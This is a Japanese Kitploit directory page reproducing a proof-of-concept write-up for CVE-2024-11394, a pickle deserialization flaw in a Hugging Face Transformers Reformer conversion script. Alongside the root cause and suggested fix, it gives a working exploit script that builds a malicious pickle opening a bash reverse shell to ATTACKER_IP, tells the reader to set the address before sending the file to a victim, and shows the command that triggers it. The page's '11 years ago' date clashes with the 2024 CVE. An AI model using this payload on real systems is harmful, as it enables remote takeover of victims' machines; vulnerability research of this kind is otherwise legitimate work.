Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/piyush-bhor/cve-2024-11394
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育AIセキュリティ
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

CVE-2024-11394 の技術詳細とエクスプロイト

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-11394

Hugging Face Transformers Trax モデルにおける信頼できないデータのデシリアライズによるリモートコード実行の脆弱性

脆弱性の概要と影響:
攻撃者は、悪意のある reformer trax チェックポイントファイルを、Hugging Face Transformers リポジトリ内の convert_reformer_trax_checkpoint_to_pytorch.py スクリプトに提供することで、ホストマシン上で任意のコードを実行できます。
無防備なユーザーがサードパーティの reformer trax チェックポイントファイルを使用し、convert_reformer_trax_checkpoint_to_pytorch.py スクリプトを実行すると、被害者のシステム上でリモートコード実行(RCE)が発生します。

脆弱な製品

  • 製品:Hugging Face Transformers
  • モジュール:Reformer
  • ファイル:transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • バージョン:最新版
  • GitHub パーマリンク:https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py

根本原因分析

  • 脆弱性の詳細な説明: この脆弱性は、信頼できないデータの安全でないデシリアライズに起因します。スクリプトは pickle.load を使用してチェックポイントファイルを読み込んでおり、コード実行に対して脆弱です。

  • 入力から脆弱性条件に至るまでのコードフロー:

  1. ユーザーがサードパーティの reformer trax モデルをダウンロードします。
  2. ユーザーが convert_reformer_trax_checkpoint_to_pytorch.py スクリプトを実行し、チェックポイントファイルを渡します。
  3. convert_reformer_trax_checkpoint_to_pytorch.py スクリプトがチェックポイントファイルをデシリアライズし、悪意のあるコードを実行します。
  • インジェクションポイント: 脆弱性は pickle.load が呼び出される箇所で発生します。
    GitHub パーマリンク:https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

  • 推奨される修正方法: pickle.load を yaml.safe_load(yaml_file) または json.load に置き換え、任意のコード実行を防ぎます。

  • 概念実証の実行手順:

  1. exploit.py を実行して、被害者のシステム上でリバースシェルを生成する悪意のある pickle ファイル malicious.pkl を作成します:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("悪意のある pickle ファイルが正常に作成されました。")

注:ファイルを被害者に送信する前に、ATTACKER_IP と ATTACKER_PORT を変更してください。

  1. config.json 設定ファイルを作成します:
root@kitploit:~
{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }
  1. convert_reformer_trax_checkpoint_to_pytorch.py スクリプトを実行し、malicious.pkl ファイルを --trax_model_pkl_path に渡します:
root@kitploit:~
> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

注:pytorch_dump_folder_path は任意のディレクトリに設定できます。

ソフトウェアダウンロードリンク:
https://github.com/huggingface/transformers/tree/main

ツールをダウンロード